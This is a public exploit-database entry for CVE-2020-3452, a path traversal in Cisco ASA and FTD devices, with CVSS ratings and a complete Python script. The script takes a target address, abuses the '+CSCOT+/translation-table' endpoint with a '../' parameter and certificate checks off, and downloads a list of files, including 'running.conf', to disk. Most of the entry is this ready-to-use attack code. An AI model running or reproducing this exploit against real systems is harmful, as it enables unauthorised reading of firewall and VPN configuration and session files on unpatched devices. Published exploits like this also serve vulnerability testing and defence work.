Cisco ASA / FTD Path Traversal

Credit: Freakyclown
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: Cisco ASA and FTD - Path Traversal (2) # Date: 12 Dec 2020 # Exploit Author: # Vendor Homepage: # Software Link: It’s against Hardware, specifically ASA’s and FTD’s # Version: ASAs (from version 9.6 to and FTD’s (versions 6.2.3 to # Tested on: exploit runs on Python3 on OSX and on Kali Linux against cisco ASA 9.14 # CVE : CVE-2020-3452 # Github : import requests # Written by freakyclown for @CygentaHQ # Cisco ASA Path Traversal # CVE-2020-3452 # Usage: {target}" # Example:" # Requires - Requests - pip3 install requests # # This tool takes advantage of the above cve and attempts to # download files as listed below, it is suggested that you make # a working folder for the outputfiles to avoid confusion if # attacking mutliple ASA's # set your target target = input("Enter target IP/Url: ") def grabstuff(): for file in files: print("trying: ", file) #set request parameters params = ( ('type', 'mst'), ('textdomain', '+CSCOE+/'+file), ('default-language', ''), ('lang', '../'), ) # set the response to the result of the request, inputting in target and params and ignoring ssl cert problems response = requests.get('https://'+target+'/+CSCOT+/translation-table', params=params, verify=False) # write the file to the disk f = open(file,"w") f.write(response.text) f.close() # this is a list of files available to download, more will be added in time # if anyone has a list of ASA files, I'd be happy to add here files = { "sess_update.html", "blank.html", "noportal.html", "portal_ce.html", "portal.html", "logon_custom.css", "svc.html", "logo.gif", "portal_inc.lua", "nostcaccess.html", "session.js", "portal.js", "portal_custom.css", "running.conf", "tlbrportal_forms.js", "logon_forms.js", "win.js", "portal.css", "lced.html", "pluginlib.js", "useralert.html", "ping.html", "app_index.html", "shshimdo_url", "session_password.html", "relayjar.html", "relayocx.html", "color_picker.js", "color_picker.html", "cedhelp.html", "cedmain.html", "cedlogon.html", "cedportal.html", "portal_elements.html", "commonspawn.js", "common.js", "appstart.js", "relaymonjar.html", "relaymonocx.html", "cedsave.html", "tunnel_linux.jnlp", "ask.html", "no_svc.html", "preview.html", "cedf.html", "ced.html", "logon_redirect.html", "logout.html", "tunnel_mac.jnlp", "gp-gip.html", "auth.html", "wrong_url.html", "logon.html"} # obvious thing is obvious, try the things and barf if fail try: grabstuff() except Exception as err: print("Something went wrong sorry") print(err)

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